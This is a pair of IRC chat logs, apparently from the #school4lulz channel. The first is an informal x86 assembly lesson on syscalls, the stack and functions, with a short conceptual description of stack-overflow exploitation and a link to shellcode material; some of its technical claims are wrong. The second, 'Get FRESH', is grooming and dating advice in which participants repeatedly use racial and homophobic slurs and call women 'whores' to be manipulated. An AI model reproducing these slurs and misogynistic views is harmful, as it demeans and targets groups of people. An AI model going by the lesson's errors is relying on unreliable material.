<hatter> 00:14 <@hatter> movl $1, %eax
<hatter> 00:14 <@hatter> int $0×80
<hatter> Had he been using the registers
<hatter> %rax
<hatter> and %rbx
<hatter> in stead of %eax and %ebx
<hatter> respectively
<hatter> He would not have gotten that error
<hatter> But because he had a 64 bit cpu
<hatter> and he's using 32 bit registers
<hatter> and didn't declare his start header
<hatter> it didn't know to assemble it properly
<hatter> so
<hatter> those of you who got exit working right
<hatter> try and make echo $? say 69
<null-> so it doesn't matter you are running a 32bit OS if you are running a 64bit cpu, you need to write 64bit asm
<hatter> in stead of 0
<hatter> null-: wrong
<hatter> you need to declare your header
<hatter> 00:20 <@hatter> 00:13 <@hatter> .section .data
<hatter> 00:20 <@hatter> 00:13 <@hatter> .section .text
<hatter> 00:20 <@hatter> 00:13 <@hatter> .globl _start
<hatter> 00:20 <@hatter> 00:14 <@hatter> _start:
<hatter> do that right before the beginning of your file.
<hatter> 1 is in eax
<hatter> because that's the function numbwr
<hatter> *number
<hatter> you can google the linux syscall table
<hatter> and it'll show you that 1 is exit
<hatter> We're gonna take a 15 minute break
<hatter> to answer some questions
<hatter> And I need a cigarette
<hatter> then we'll get to hello world
<hatter> and some loops
* hatter sets mode -m #school4lulz

* xtal has quit (Ping timeout: 240 seconds)
<Hellspawn> What is the use of these different error codes? Just for feedback to the user?
<d0z3> or another program
* nyann has quit (Quit: leaving)
<hatter> mostly debug output Hellspawn
<Anorov> hmm
<Hellspawn> kk
<d0z3> so it can know if it ran succesfully or encountered an error ? (this is in c)
<Anorov> hatter could you display some uses of using the 2 and 1 byte registers?
<hatter> Sure, give me a moment
<Anorov> k
* foobar291 (~Adium@LulzCo-D52A9B22.dyn.iinet.net.au) has joined #school4lulz
<hatter> I gotta smoke a cig BAD
<hatter> lol
* foobar29 has quit (Ping timeout: 240 seconds)
<imposter22> ?the lulz boat?
<TransfiniteGreyWizard> I love your class hatter
<TransfiniteGreyWizard> I wish colleges would get to the point like you do
<TransfiniteGreyWizard> Not kissing your ass. I'm seriously pissed with these dumbass classes.
* halcyon (~nuri@LulzCo-DD6B9F50.dc.res.rr.com) has joined #school4lulz
<Anorov> you taking an assembly class in college?
<TransfiniteGreyWizard> No just mathematics
<Anorov> well math is a bit different lol
<Anorov> i'm rather glad math isn't taught in here
<TransfiniteGreyWizard> Why not?
<S4ya> guise guise
<S4ya> ima doing
<S4ya> mov eax, 1
<S4ya> db 0xff, 0xc8
<S4ya> pop ebx
<S4ya> int 0×80
<S4ya> db 0xeb, 0xf4
<Anorov> i'm god awful at math and…meh, nevermind
<Anorov> what does db mean again? declare byte?
<S4ya> wut wrong?
<TransfiniteGreyWizard> You can divide any number by 5 by multiplying by 2.
<d0z3> heh?
<TransfiniteGreyWizard> For instance, 27475*5 can be cut in half to extract the answer.
<TransfiniteGreyWizard> An easy way to do these large numbers in your head is to reduce all odd numbers by 1.
<TransfiniteGreyWizard> Turning 27475 to 26464. Cutting it in half results with 13232.
<TransfiniteGreyWizard> Add 5 (as a remainder) to the number on the right.
<TransfiniteGreyWizard> It turns into 13737.
<TransfiniteGreyWizard> Add a 0 and you have your answer!
<TransfiniteGreyWizard> 137370.
<Hellspawn> wrong.
<Hellspawn> 26364
<Hellspawn> you did 26464
<Hellspawn> short cuts = where problems arise.
<d0z3> only the odd numbers
<d0z3> 4 = even
<Hellspawn> fuuuuuuuuuuuuuuuu
<TransfiniteGreyWizard> Oops.
<Hellspawn> lol
<Hellspawn> i still dont like that method lol
<d0z3> me neither
<Hellspawn> why dont you just use a calculator?
<TransfiniteGreyWizard> Allow me to re-correct?
<Hellspawn> 27475 * 5
* s0n1cK (s0n1cK@EA66A33E.F8154AB4.C94C189B.IP) has joined #school4lulz
<Hellspawn> 25 + 350 + 2000 + 35000 + 100000
<Hellspawn> 137375
<TransfiniteGreyWizard> 27475 -> 26464 -> 13232 -> 137375
<Hellspawn> but your method isn't even relevent
<Hellspawn> its like doing your nine times tables using your fingers
<TransfiniteGreyWizard> It is to logistics.
* zteppup has quit (Ping timeout: 240 seconds)
* tfk0n1ne (~tfk09@C77FF6A6.FADC2A2D.F1D77C68.IP) has left #school4lulz
<Hellspawn> how is your method quicker than the method i just used?
<Hellspawn> like seriously, if you want quick, use a computer
<TylerDurden> Hatter: good class, skimmed over it as i waz away, lernin' ppl asm is alwyas good.
<TransfiniteGreyWizard> Its number entanglement using the imaginary number system.
<TransfiniteGreyWizard> sin(180)/cos(90) demonstrates the relationship inversely
<eax> soory guys im back now
<eax> had an emergancy
<Hellspawn> feds at your door?
<Hellspawn> loljk
<TransfiniteGreyWizard> We all have to use the bathroom, its ok.
<hatter> not that cool

<hatter> lol
<hatter> yall got like 3 minutes left
<IR601> shit ur self?
<Hellspawn> we are discussing the use of mathematics hatter, not really relevant stuff
<TransfiniteGreyWizard> Well it has a little bit to do with it.
<t> so guys are there any questions related to the subject that hatter or eax could anser
<null-> so… register are name sequentially? eax ebx ecx etc…
<TransfiniteGreyWizard> How do number representations relate to logical gates?
<Hellspawn> ok question then, what would be more efficient? greywizards method or my method for computers?
<KroaK> not all
<KroaK> theres ebp, esp
<KroaK> but they're special
<dextone> hatter, so why I got 0 while I'm expecting 127 error code ?
<KroaK> eip
<KroaK> not directly accessable
<hatter> dextone: I am still tryin to figure that out, could be something wrong with your bash install
<TylerDurden> Yeah: stack cookies. what about them.?
<Anorov> what distro are you running dextone
<TransfiniteGreyWizard> Sorry guys, still a newb.
<hatter> ok guys
<hatter> lets wrap it up
* hatter sets mode +m #school4lulz
<hatter> eax: take it away <3
<eax> ok boys
<null-> KroaK: so there's a bunch of of eax, ebp, esp, etcc?
* Fox has quit (Ping timeout: 240 seconds)
<eax> yes null there are a bunch of registers
<eax> general purpose are eax, ebx, edx, ecx
* t0bias (~t0bias@3C56B256.CB1BD8B5.3EDA1CE.IP) has joined #school4lulz
<eax> then special registers like eip, ebp, esp, eflags
* xtal (~xtal@LulzCo-B26D449D.getinternet.no) has joined #school4lulz
<eax> anyways
<null-> what's the difference beteween eax and ebx for example?
* skynyrd (~skynyrd@LulzCo-A1D2A15C.mycingular.net) has joined #school4lulz
<eax> nothing pretty much they can be used for the same thing
<eax> just think of them of general purpose variables
<eax> anyways COMMETNS YOU MUST USE THEM
<eax> to comment something in your source code you use a hash sign
<eax> #this is a comment
<eax> i suggest putting a comment every 1-3 lines just so you understand what is going on
<eax> because when you get into real projects it will get confusing
<eax> comments are especially usefull for functions
<hatter> When you get into highly compressed code
<hatter> comment every line.
<eax> ^
<eax> sometimes 1 line of asm can do 2-4 different things at once
<eax> its helpful also to use comments for functions
<eax> you can describe how to call your functions
<eax> what your function does
<eax> what your function should return
<eax> etc
<eax> most functions you see in asm follow the C syntax for variables
<eax> to pass varuiables to a function
<eax> you must push them to the stack BEFORE
<eax> you call your funciton
<eax> while im at it i should explain the stack
<eax> the stack is part of your programs memory that expands backwards
<eax> say i pushl $1
<eax> the stack now looks like
<eax> 0×00000001
* BillNye (~proficien@LulzCo-6974CE5A.hsd1.md.comcast.net) has joined #school4lulz
<eax> now if i pushl $4
<eax> it looks like
<eax> 0×0000004
* bebop (~bebop@LulzCo-CAD7DCCC.hsd1.il.comcast.net) has joined #school4lulz
<eax> 0×00000001
<eax> (too many zeros w/e)
<eax> the stack acts like a stack of papers on your desk
<eax> every time you put a new piece on an older one gets burried
<eax> and in order to access a piece of papper benieth the current one you must pop it off
* buzzkill (~buzzkill@LulzCo-EC4550D6.uvt.nl) has joined #school4lulz
<eax> (the pop command takes the top dword off the top of the stack and places it in a register)
<eax> so if a stack looks like
<eax> 0×4
<eax> 0×1
<eax> and i do pop %eax
<eax> eax will now = 4
<eax> and the stack will look like

<eax> 0×1
<eax> if i want to get that last piece of data i would want to issue the pop command again
<eax> although this is not the only way to access data off the stack
<eax> (there are address trickery you can do to get some data off the stack without popping it off but i wont get into it yet)
<eax> so stack = pappers stack over eachother newest on the top olderst on the bottom
* foobar291 has quit (Quit: Leaving.)
<eax> now funcitons
<eax> functions*
* BestBuddy (~Bugzilla@DB72434F.EA3FB313.BE95BFFE.IP) has joined #school4lulz
<eax> to declare a function in att syntax you type
<eax> .type lable, @function
<eax> label being a label in your code
<eax> (labels are just human readable text that is assigned to an specific memory address at startup)
<eax> (usually looks like test:)
<eax> test being the label name and the colon afterwads means its a label
* vec (~vec@LulzCo-893E14D4.hsd1.ga.comcast.net) has joined #school4lulz
<eax> if you havent noticed in your source you have _start:
<eax> that is a label to the entry point of your program if you are wondering
<eax> anyways once you define your function (.type test, @function)
<eax> you have to create your label (usually directly under it)
<eax> test:
<eax> after that the first thing you do for every function
<eax> is back up your %ebp (base pointer) into the stack by pushing it
<eax> and then moving %esp to %ebp (because you should never access %esp directly)
<eax> this will allow you to access your varriables you are pushing to your funciton
<eax> your funciton now looks like this
<eax> .type test, @function
<eax> test:
<eax> pushl %ebp
<eax> movl %esp, %ebp
* Renataki (~Renataki@LulzCo-E8EC77F2.hsd1.ct.comcast.net) has joined #school4lulz
<eax> for a definition of esp its a address pointer that poitns to the top of your stack (or the bottom i forgot ><)
<eax> lets make this test function print something onto the screen
* foobar29 (~Adium@LulzCo-4DF181E4.dyn.iinet.net.au) has joined #school4lulz
<eax> so lets learn how to print something onto the screen in the first place
* Jessica (~Jessica@LulzCo-E723C34E.torservers.net) has joined #school4lulz
<eax> in order to print to stdout (the file discripter that prints to your terminal)
<eax> the cpu needs specific data in each register
<eax> %ebx holds the file discripter to print to (1 in this case is STDOUT)
<eax> %ecx holds the address of the start of your buffer (the text you want to print)
<eax> %edx hold the size of your buffer (how long it is)
<eax> %eax holds the interupt code (if you recall 1 = exit) this time we are going to put 4 in there
<eax> beause 4 = write
<eax> (all these codes and stuff can be found in “programming from the ground up”)
<eax> ok
<hatter> Back
<eax> wb hatter
<hatter> ty
<hatter> where are we?
<eax> k so now since we have to push our variables onto the stack in order to use in in our function
<eax> erm
* m00p (~moop@BB6D61B8.1C393A1B.876CAAC6.IP) has joined #school4lulz
<eax> in order to use a variable in our funciton we have to push it onto the stack*
* jrsimar (~M8R-5i54t@LulzCo-A2C5809A.byte4byte.com) has joined #school4lulz
<eax> for this function we will use the address of a ascii test string
<eax> but where do we put this ascii text string you may ask
<eax> good question
* skynyrd has quit (Remote host closed the connection)
<eax> hatter should of went over breifly the Header area
<eax> (.section .data and .section .text
<eax>)
<hatter> Ah yes
<hatter> .section
<hatter> creates a section
<hatter> there aren’t a lot of types
<hatter> but bss is the main stack
* BillNye has quit (Quit: Leaving)
* phracktion2 has quit ()
<hatter> data is different static data
<eax> the .data section is reserved for stacic variables such as strings and other variables
<hatter> and text is the main execution code
<eax> ^
<eax> ok so we want to define an ascii variable
<eax> in order to do so
<eax> we create a new label in .data (because there are no variables in asm only poitners to memory addresses)
<eax> so

* t0bias has quit ()
<eax> .section .data
<eax> our_string:
* Wally (~Wally@LulzCo-889B720B.members.linode.com) has joined #school4lulz
<eax> .ascii "this is our string\n"
<lolwat> eax,
<lolwat> no need to null terminate?
<eax> depends on how you use it
<eax> you need to null terminate if you call a funciton like printf
<lolwat> for instance, printing it
<lolwat> without knowing its len
<eax> but since we are using the interupt it is not madatory
<eax> if you read up a bit i talk about the registers the write itnerupt uses
<lolwat> so .ascii by itself
<eax> one of them is for specifing its lenge
<eax> length8
<lolwat> doesn't null terminate? (that was my question)
<null-> eax: you mean calling printf from stdio.h ?
<eax> not when you use the interupt for write (you specifit length in %edx)
* MoDahkah (~White@LulzCo-BCEEBD65.dyn.optonline.net) has left #school4lulz
>eax< he's asking whether it automatically null terminates
<eax> yes you can call printf from asm i will be covering that later
<eax> ok so back to what i was saying
<eax> ok
<eax> the .data section looks like this
<eax> to define a static string (this is not the case in certian instances like for calling a function like printf)
<eax> .section .data
<eax> test_string:
<eax> .ascii "test\n"
<eax> test_end:
<eax> .equ test_len, test_end – test_string
<eax> .equ creates a variable in this case containing the length of the string
<eax> as i said the labels are for human readablility and actually represent memory addresses
<hatter> ^
<eax> so what it does is take the ending memory address and minus the starting
<eax> to get the length
* wa- (~0BADC0DE@345D34A9.CA721FD9.37DDF6FC.IP) has joined #school4lulz
<eax> sec let me paste bin the entire code so far its too long for irc
<eax> give me a moment
<eax> http://pastebin.com/znZCMYRb
<eax> so far all it has is our exit code (to exit the program) and an incomplete funciton
<eax> lets add a way to give our function our variables (the address of our text and its length)
<eax> to do this push them onto the stack in our main program (abouve our exit code)
<eax> pushl $test_string
* zteppup (~email@LulzCo-EEC8A160.hsd1.ms.comcast.net) has joined #school4lulz
<eax> pushl $test_len
<eax> now after that incert a call to call our funciton
<eax> call test
<eax> http://pastebin.com/g6wzspYH
<eax> now looks like so
<eax> now our main code is finished (all we need it to do is push our data and exit)
<eax> so lets finish up on our function (sorry for jumping back and forth so many things to tell you lol)
<eax> now
<eax> in our function we are currently pushing the base piointer (ebp) and then moving the stack pointer to ebp
<eax> this allows us to access our variables (and those two commands should be in every function)
<eax> at the point of when our function is called our stack looks like so
<eax> $text_len
<eax> $test_string
<eax> return address
<eax> ebp
<eax> sec
* Fox (~Fox@9FEBF99A.F71AD6B7.1ABC39CD.IP) has joined #school4lulz
* ChanServ sets mode +q #school4lulz Fox
* ChanServ gives channel operator status to Fox
<Fox> :3
<eax> $test_len ebp + 12
<eax> $test_string ebp +8
<eax> return address ebp +4
<eax> ebp ebp / esp
<eax> ebp is the base pointer (which we moved esp to) which pointes to the bottom of the stack
<eax> since we are working in longs (or dwords) which are 4 bytes in length
<eax> we can move up the stack in 4 byte increments
<eax> so say %ebp = 0×10000000
<eax> our variable that we pushed onto the stack are at
<eax> 0×10000008
<eax> and 0×10000012
<eax> in memory

* rawr (~rawr@CCCA3D60.382F279B.761029BD.IP) has joined #school4lulz
<eax> so in order to access them in our finction
<eax> we use something called indrect memory access
<eax> (it basiacally means we specify an address and it will grab its context)
* rawr has quit ()
<eax> so lets grab our first variable (test_string)
<null-> like *ptr in C?
<eax> yes in a sense
<eax> pointers in C point to memory addresses
<eax> if you want you can actually do *var + 4
<eax> and it would take the address of var and add 4 to it
<eax> ok so in order to get our first variable underneith movl %esp, %ebp put
* exo (~Myfziic@LulzCo-BE34EA80.hsd1.pa.comcast.net) has joined #school4lulz
<eax> movl 8(%ebp), %edx
<eax> what this does is moves a long (aka a dword (4 bytes)) from the address of %ebp + 8
<eax> and puts the contents into %edx
<eax> so its moving 0×10000008 – 0×10000012 into %edx
<eax> this is the address of our text string we define in the data segment which we pushed onto the stack
<eax> (which we will need for calling our write intrrupt)
<eax> now we have to grab the length of our text
<eax> movl 12(%ebp), %ecx
<eax> same thing appens here
<eax> moves 4 bytes starting at %ebp + 12 into ecx
<eax> thats our memory address of our .equ which is our length of our string
* foobar29 has quit (Quit: Leaving.)
<eax> http://pastebin.com/FZK60Bw1
<eax> code now looks like so
<eax> now that we have our two variables we pushed onto the stack for use in our function lets start our system interupt code
<eax> to print our text into STDOUT
<eax> (the file discriptor the pipes ascii onto the terminal
<eax>)
* tunafish (tuna@LulzCo-75BA39C5.hrbgpa.fios.verizon.net) has joined #school4lulz
* rj has quit (Ping timeout: 240 seconds)
* tunafish (tuna@LulzCo-75BA39C5.hrbgpa.fios.verizon.net) has left #school4lulz
<eax> as i said before the write interupt uses 3 registers in order to function
<eax> erm 4*
<eax> %eax, ebx, ecx, edx
<eax> my bad class i moved the variables to the wrong registers
<eax> it should look like so
<eax> movl 8(%ebp), %ecx
<eax> movl 12(%ebp), %edx
<eax> %ebx is our file discripter we want to write to (in our case stdout is 1)
<eax> so lets mov $1 into ebx
* bebop (~bebop@LulzCo-CAD7DCCC.hsd1.il.comcast.net) has left #school4lulz
<eax> next we need to put our buffer address (the address our text is at) into %edx
<hatter> wow eax you're impressing me <3
<eax> luckily if we use the two replacment lines i screw up above we dont have to issue a command to move the data there
<eax> because it is already there
<eax> same goes for %ecx
* Guantenk (Guantenk@C3D22DDB.DB5C8CD3.950BBD03.IP) has joined #school4lulz
<eax> http://pastebin.com/rER2gC9e
<eax> code now looks like so
* FireStarter has quit ()
<eax> next we need to move our intterupt code into %eax
<eax> when calling int $0×80 the interupt code always goes into eax
<eax> (example for exit we moved $1 into eax
<eax>)
<eax> in this case to fire the write inttrupt we have to move $4 into eax
<eax> movl $4, %eax
<eax> now we can call our itnerupt
<eax> basically yelling at the cpu HEY I WANT TO DO SOMETHING LOOK IN EAX AND DO THAT SHIT
<eax> http://pastebin.com/Run4J4j3
<eax> code now looks like so
<eax> that is it for the writing part of the code
<eax> now it is time for funciton clean up
<eax> basically you mov ebp back to esp
<eax> and pop %ebp (to get ebp address back into it)
<eax> movl %ebp, %esp
<eax> pop %ebp
<eax> this is manitory because without it you will most likely see some strange stuff happen
<eax> the last call which i havent explained is ret
<eax> ret is a call that takes the return address off the stack
<eax> and jumps back to that point in code
<eax> to resume execution
* ExplodingPiglets has quit (Ping timeout: 240 seconds)
<eax> (the return address is where we called our funciton)

<eax> http://pastebin.com/H435rYUb
<eax> finished code
<eax> also now that i think about it
<eax> the registers eip and the whole call /ret thing
<eax> when you use the call function
<eax> it pushes the return address into the stack and then jumps to the address of the function start
<eax> and you issue a ret call
<eax> it pops the returna ddress off the stack
<eax> into %eip
<eax> and then jumps
<eax> now for buffer overflows
<eax> they happen when you overflow the stack to a point where
<eax> you can edit the return address
<eax> so that once you can edit the return address you can make your own
<eax> then the function pops it into %eip
<eax> and jumps to it
<eax> WELL GUESS WHAT
<eax> YOUR EXPLOIT SHELL CODE IS THERE
<eax> and it starts to run your shell code
<eax> hatter can maybe clarifiy that a bit more
<eax> anyways our code is done it is time to assemble and link
<eax> (also sorry if i dont respond to pms i dont have them open atm
<eax>)
<hatter> essentially
<hatter> the pop instruction takes the latest dword
<hatter> and shoves it into a register
<hatter> so what's happening when 'ret' is called by itself
<hatter> is actually on the circuit
<hatter> popl %eip
<hatter> if you assemble both of them
<hatter> you will get the same bytecode
<hatter> Some assemblers won't let you assemble popl %eip.
<hatter> But in a stack overflow
<hatter> the last thing shoved onto the stack (or first thing depending on how you look at it)
<hatter> is gonna be your pointer
<hatter> that pointer gets popped by the ret call
<hatter> sometimes you run into funny ret calls
<hatter> like
<hatter> ret 0×18
<hatter> which specifies 18 bytes be popped off of the stack before the %eip pop
<hatter> in any case, this is the fundamental of a stack overflow.
* m00p has quit (Remote host closed the connection)
<eax> class give me amoment
<eax> yea new it
<eax> had an error in ym code lol
<eax> http://pastebin.com/sUGerZDN
* wa- has quit (Quit: molorrrrrrrrrrrrrrrrrrrr)
<eax> erm
<eax> sec again some how it reverted to older code
* jas09 has quit (Remote host closed the connection)
<eax> http://pastebin.com/YK2vpa1z
* jas09 (~User@LulzCo-6342553E.formlessnetworking.net) has joined #school4lulz
<eax> erm awkward
<eax> take 5 i need to figure something out
* eax sets mode -m #school4lulz
<hatter> oh
<hatter> Wow
<jrsimar> appreciate this. thx eax & school4lulz
<hatter> You need debug eax ?
<eax> np
<TylerDurden> http://www.intel.com/products/processor/manuals/ <=read the intel manuals for more information on instructions and their bytecodes.
<TylerDurden> the intel manuals are GOOD INFO.
<hatter> ^
<hatter> amd has free arch manuals as well.
<eax> ^
<TylerDurden> intel's are better, and instruction sets somewhat match.
* pheno has quit (Remote host closed the connection)
<eax> http://www.wildcardsecurity.com/security101/index.php?title=Ascii_shellcode
<TylerDurden> plus intel's recent sandy vagina 256 bits SMD registers r cool.
<eax> http://www.wildcardsecurity.com/security101/index.php?title=Assembly_Basics#Counting
<eax> also good reads
<eax> made by hatter

Get FRESH (by Fox)

Posted by xoxo on June 11, 2011 None comments

~Fox: I'm gonna teach you niggers how to be fresh.
[22:56:31] ~Fox: Alright
[22:56:35] ~Fox: So first things first
[22:56:39] ~Fox: before we get into anything
[22:56:46] ~Fox: you gotta make sure your bathroom is right
[22:56:52] whiteh8 sets mode +v XStatic
[22:57:00] ~Fox: Shower, as I said rain head shower = pimp as fuck
[22:57:07] ~Fox: also great for fucking in the shower
[22:57:10] whiteh8 sets mode +v ezrio
[22:57:15] +ezrio: ty
[22:57:18] ~Fox: Now moving on to products
[22:57:22] ~Fox: my fucking favorite
[22:57:25] ~Fox: is jack black.
[22:57:33] ~Fox: I think its like getjackblack.com
[22:57:35] ~Fox: right?
[22:57:49] %whiteh8: yes
[22:57:49] ~Fox: Lots of good shit there, body scrub, and face scrub are off the fucking hook
[22:57:57] ~Fox: you smell pimp, you feel pimp,
[22:58:08] ~Fox: and it does some shit to your skin that makes it feel awesome.
[22:58:12] ~Fox: now you're clean.
[22:58:17] ~Fox: now you gotta shave et cetera
[22:58:26] ~Fox: these niggers at jack black got it again
[22:58:33] ~Fox: what does james bond shave with
[22:58:35] ~Fox: fucking edge?
[22:58:37] ~Fox: fuck no.
[22:58:45] ~Fox: these niggers have barber shop style shaving cream
[22:58:57] ~Fox: use that with a badger hair brush
[22:59:00] %whiteh8: damn, with the brush and everything
[22:59:11] ~Fox: you don't waste shit, you get a great fucking shave
[22:59:15] ~Fox: and ontop of that
[22:59:25] ~Fox: you got that little hint of that barber fresh smell
[22:59:33] %whiteh8: you use a straight razor?
[22:59:36] ~Fox: yerp
[22:59:41] ~Fox: only way to do it
[22:59:45] %whiteh8: i would if i shaved
[22:59:52] +ezrio: ballin
[22:59:54] ~Fox: oil the belt, swip swip.
[22:59:57] ~Fox: anyways
[22:59:58] ~Fox: hair
[23:00:03] ~Fox: if you got short hair
[23:00:11] ~Fox: 4 guard and a shaver baby
[23:00:16] ~Fox: fresh as a motherfuck 24/7
[23:00:21] %whiteh8: mmm i use a 3, but fasho
[23:00:27] ~Fox: Then to cologne
[23:00:33] ~Fox: Don't be a faggot and buy a brand
[23:00:38] ~Fox: go see the bitch at nordstroms
[23:00:40] ~Fox: flirt with her
[23:00:48] ~Fox: get her to tell you whats right for your skin type
[23:00:50] texting (~hatter@19CD0460.388FE1B3.95C9F249.IP) joined the channel.
[23:01:02] whiteh8 sets mode +v texting
[23:01:03] ~Fox: different skin types have different types of 'scents' that go well
[23:01:05] texting is now known as hatter|remote
[23:01:17] ~Fox: my particular motherfuckin shit is Yves Saint Laurent.
[23:01:30] Fox sets mode +o hatter|remote
[23:01:36] @hatter|remote: thx sir
[23:01:41] linux_chris (~linux_chr@4F3BF75D.FA97538B.C6038630.IP) joined the channel.
[23:01:47] ~Fox: Yves saint laurent and burberry are both citrus based colognes
[23:01:54] ~Fox: with my skin type, i smell phenomenal
[23:01:56] ~Fox: bitches love it
[23:02:01] -CTCP- VERSION from linux_chris
[23:02:09] %whiteh8: i have a question
[23:02:11] +ezrio: holy shit 5th time i'm hearing this cologne
[23:02:12] ~Fox: theres also ones based off of cedar, and a bunch of other shit
[23:02:20] ~Fox: whiteh8
[23:02:21] ~Fox: go
[23:02:30] %whiteh8: where do i find time to pimp bitches when im busy haxoring the planetz
[23:02:48] ~Fox: Easy. I'll get to it
[23:02:50] +ezrio: whiteh8, when ya go out
[23:02:51] ~Fox: hold the thought
[23:02:57] %whiteh8: out…side?
[23:03:05] @hatter|remote: sup/names
[23:03:05] ~Fox: whiteh8 hold the thought
[23:03:11] whiteh8 holds
[23:03:15] ~Fox: So anyways
[23:03:28] ~Fox: now we look fantastic, we smell fresh as a motherfuck
[23:03:33] ~Fox: but we're but ass fucking naked
[23:03:39] ~Fox: we gots to get flyyyyyy
[23:03:40] -CTCP- HI from linux_chris
[23:03:46] ~Fox: now thing is

[23:03:54] ~Fox: you don't need to stunt the fuck out on clothing
[23:04:00] ~Fox: just a few imperative pieces.
[23:04:06] %whiteh8: BOOT CUT JEANS, TAILORED
[23:04:20] ~Fox: Not necessarily
[23:05:05] %StalluManu: combat boots, black suit, shaven head is where it's at.
[23:05:11] ~Fox: Casual – Go with a long sleeve button up, american style collar, open cuff, rolled up, nice pair of jeans, I prefer lucky brand, and a fresh as fuck pair of air force ones
[23:05:38] ~Fox: Business – Slacks, Shirt, COLLAR FUCKING STAYS, buy collar stays or you're a faggot, and a sensible tie
[23:05:46] %whiteh8: air forces ones;;;der
[23:05:46] ~Fox: Ties, don't be afraid to buy that shit from china.
[23:05:57] ~Fox: Gucci tie from china = gucci tie from store
[23:06:03] ~Fox: just a lower thread count
[23:06:13] ~Fox: and not a goddamn soul will know if you tie it right.
[23:06:15] +imposter22: Europen cut 2 button suit. black slacks (no pleets), nice shoes, thin tie
[23:06:25] ~Fox: imposter22 brings a phenomenal pint
[23:06:27] ~Fox: *point
[23:06:29] ~Fox: Euro Cut.
[23:06:35] ~Fox: For fucks sake
[23:06:39] ~Fox: do not get a baggy suit.
[23:06:47] +imposter22: ^
[23:06:50] ~Fox: Best rule of thumb
[23:06:55] %whiteh8: short fatties should
[23:07:01] ~Fox: Go down jacket sizes till it can't fit
[23:07:02] +XStatic: And here i am at work with a hooded jumper on, Not fly as fuck like fox is.
[23:07:07] ~Fox: go up one,
[23:07:09] +imposter22: makes you look like every other asshole that has never warn a suit before
[23:07:16] ~Fox: Have it slimmed to your body type
[23:07:22] ~Fox: whiteh8 not so, even fatties
[23:07:25] ~Fox: a good tailor
[23:07:32] +ezrio: imposter22, which is good for blending in
[23:07:37] ~Fox: will make you look like a pimp in any goddamn thing you wear.
[23:07:38] %whiteh8: you'll look worse if you're bulging out of a coat
[23:07:44] ~Fox: Exactly.
[23:07:46] +imposter22: you can tell suit n00bs when they are baggy and untailored… getting a cheap suit tailored is cheap
[23:07:56] +imposter22: but effective enough
[23:07:59] ~Fox: Hence the go down one under, go up one
[23:08:05] ~Fox: it will literally without fail fit
[23:08:07] ~Fox: 'just right'
[23:08:08] +imposter22: dont look like a fucking car salesmen
[23:08:14] ~Fox: promise you that.
[23:08:17] ~Fox: Ok
[23:08:29] ~Fox: so now we look fly, smell fresh and by god damnit we've had our cereal.
[23:08:32] ~Fox: So BITCHES MAN
[23:08:35] Ryan (~b@LulzCo-63BAB37A.anon.su) joined the channel.
[23:08:36] ~Fox: where the fuck do we get those.
[23:08:41] ~Fox: well I'm about to school you
[23:08:50] ~Fox: Match. motherfucking com.
[23:08:57] ~Fox: There are some hot ass bitches on match.com
[23:08:59] ~Fox: and guess what
[23:09:06] %whiteh8: DTF?
[23:09:07] ~Fox: YOU CAN IMPROVE YOUR SOCIAL ENGINEERING SKILLS ON THAT BITCH.
[23:09:08] +ezrio: no ashleymadison ?
[23:09:10] ~Fox: All DTF.
[23:09:14] +XStatic: but what about STD's Fox?
[23:09:23] +ezrio: XStatic, CONDOMS
[23:09:24] hammertime (~hammertim@LulzCo-2670A94F.blutmagie.de) joined the channel.
[23:09:25] ~Fox: Wrap your shit nigger I ain't here to tell you everything
[23:09:26] ~Fox: fuck.
[23:09:30] %whiteh8: wrap your rod, before you tap that broad
[23:09:35] ~Fox: +12
[23:09:42] %whiteh8: moving on
[23:09:43] +ezrio: +100000
[23:09:45] ~Fox: Moving on.
[23:09:57] ~Fox: Bitches on match.com love winks or whatever.
[23:10:10] ~Fox: Wink at every bitch on that website that you would say that you would remotely fuck
[23:10:27] ~Fox: they wink back, send some coy, suave ass shit in a very short, but sweet email
[23:10:36] ~Fox: that bitch will be back on your dick before you know it
[23:10:42] ~Fox: get through the bullshit talk via email
[23:10:45] ~Fox: plan a date
[23:10:57] ~Fox: 2 hours guaranteed you'll be in her pants, getting it on.
[23:11:00] ~Fox: unless you suck.
[23:11:03] ~Fox: then I can't help you.
[23:11:07] %whiteh8: go to a nice place
[23:11:10] ~Fox: I am not will smith
[23:11:12] ~Fox: Yeah
[23:11:18] %whiteh8: spend $80 on dinner
[23:11:18] ~Fox: Nigga don't take this broad to chilis.

[23:11:22] %whiteh8: it's worth it
[23:11:22] ~Fox: Have some fucking class.
[23:11:29] ~Fox: Steakhouse, Hibachi, Sushi, somethin.
[23:11:34] %StalluManu: lol.
[23:11:38] %StalluManu: >taking chicks to dinner
[23:11:42] %StalluManu: you've never gotten laid, i can tell.
[23:11:58] ~Fox: Stallumanu. This is a proven science my nig.
[23:12:10] ~Fox: 4+ years and I have NEVER had a dry stretch.
[23:12:19] ~Fox: Although, what I have learned of recently
[23:12:23] %StalluManu: same here, and i dont even pay for dinner.
[23:12:27] %StalluManu: you know how? online dating.
[23:12:40] %StalluManu: only do 7+ girls, just make sure your shit's right.
[23:12:44] %StalluManu: girls online are complete sluts.
[23:12:52] +ezrio: go for j1's
[23:12:57] ~Fox: I've done that too StalluManu
[23:13:03] ~Fox: Myspace angles…
[23:13:04] %StalluManu: in fact, all women are whores.
[23:13:07] ~Fox: Horrid memories.
[23:13:09] %StalluManu: some just more expensive than others.
[23:13:09] withate (~pinc0de@LulzCo-9E449B52.cable.virginmedia.com) joined the channel.
[23:13:16] %StalluManu: Fox: if the bitch is ugly, drop her on the spot.
[23:13:18] ~Fox: Now, final point before I close up shop.
[23:13:19] DustOP (~xesqui@LulzCo-321958F9.red-88-13-87.dynamicip.rima-tde.net) joined the channel.
[23:13:20] %StalluManu: walk the fuck away.
[23:13:23] ~Fox: StalluManu I have.
[23:13:24] ~Fox: Lololol
[23:13:33] %StalluManu: Protip: you rejecting ugly bitches turns other bitches on.
[23:13:37] ~Fox: I pulled up to a bitches house and she was waiting outside
[23:13:40] ~Fox: I kept driving
[23:13:41] ~Fox: LOLOL
[23:13:45] %whiteh8: hahha
[23:13:55] ~Fox: Anyways protip.
[23:14:05] ~Fox: Whores that fuck on the first night are now in your pocket.
[23:14:09] %StalluManu: Protip: Being with a fine ass girl that you wont screw also helps.
[23:14:13] Punker (~xuski@69DB2BEF.5097E008.B05D5E77.IP) joined the channel.
[23:14:19] ~Fox: Know this and keep them there.
[23:14:24] %StalluManu: girls r teh ideal wingman.
[23:14:36] ~Fox: Whores are whores, and treat them like whores and they'll do your laundry and shit
[23:14:37] %whiteh8: StalluManu, that's the angle I play
[23:14:38] ~Fox: then fuck you
